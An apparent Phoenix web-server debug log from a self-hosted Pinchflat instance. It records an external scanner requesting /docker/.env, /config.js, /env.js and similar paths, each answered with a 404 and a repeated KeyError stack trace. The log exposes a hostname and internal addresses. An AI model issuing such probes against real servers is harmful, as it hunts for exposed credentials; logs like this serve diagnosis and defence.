s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.588 [debug] QUERY OK source="settings" db=0.0ms idle=210.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.588 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.589 [error] #PID<0.21359.0> running PinchflatWeb.Endpoint (connection #PID<0.21358.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /docker/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51676}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21359.0>, params: %{}, path_info: ["docker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/docker/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfFrwaVMFgikACLyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51676}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51676}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21359.0>, params: %{}, path_info: ["docker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/docker/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfFrwaVMFgikACLyB"} ], scheme: :http, script_name: [] (truncated) 15:40:12.695 [info] GET /config.js 15:40:12.696 [debug] QUERY OK source="settings" db=0.1ms idle=317.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.696 [debug] QUERY OK source="settings" db=0.0ms idle=214.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.696 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.696 [error] #PID<0.21361.0> running PinchflatWeb.Endpoint (connection #PID<0.21360.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21361.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfGFXzEvY06MACLyh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21361.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfGFXzEvY06MACLyh"} ], scheme: :http, script_name: [], secret_key (truncated) 15:40:12.798 [info] GET /main.js 15:40:12.799 [debug] QUERY OK source="settings" db=0.1ms idle=316.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.799 [debug] QUERY OK source="settings" db=0.0ms idle=210.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.799 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.799 [error] #PID<0.21363.0> running PinchflatWeb.Endpoint (connection #PID<0.21362.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /main.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21362.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51684}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21363.0>, params: %{}, path_info: ["main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfGd364sHWYoACLzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21362.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51684}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21362.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51684}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21363.0>, params: %{}, path_info: ["main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfGd364sHWYoACLzB"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:12.968 [info] GET /env.js 15:40:12.968 [debug] QUERY OK source="settings" db=0.1ms idle=379.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.968 [debug] QUERY OK source="settings" db=0.0ms idle=272.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:12.968 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:12.968 [error] #PID<0.21365.0> running PinchflatWeb.Endpoint (connection #PID<0.21364.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21364.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51688}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21365.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfHGR5Ul3_OoACLzh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21364.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51688}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21364.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51688}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21365.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfHGR5Ul3_OoACLzh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: (truncated) 15:40:13.272 [info] GET /app.js 15:40:13.272 [debug] QUERY OK source="settings" db=0.1ms idle=473.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.273 [debug] QUERY OK source="settings" 